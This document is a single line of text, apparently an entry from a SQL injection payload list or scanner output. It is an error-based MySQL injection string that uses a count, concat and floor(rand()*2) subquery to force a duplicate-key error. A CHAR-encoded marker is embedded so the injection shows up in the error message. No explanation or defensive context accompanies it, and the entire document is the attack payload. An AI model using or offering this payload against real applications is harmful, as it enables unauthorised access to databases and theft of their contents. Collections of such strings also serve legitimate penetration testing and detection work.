"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(121),CHAR(68),CHAR(54),CHAR(50),CHAR(57),CHAR(101),CHAR(67),CHAR(89)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"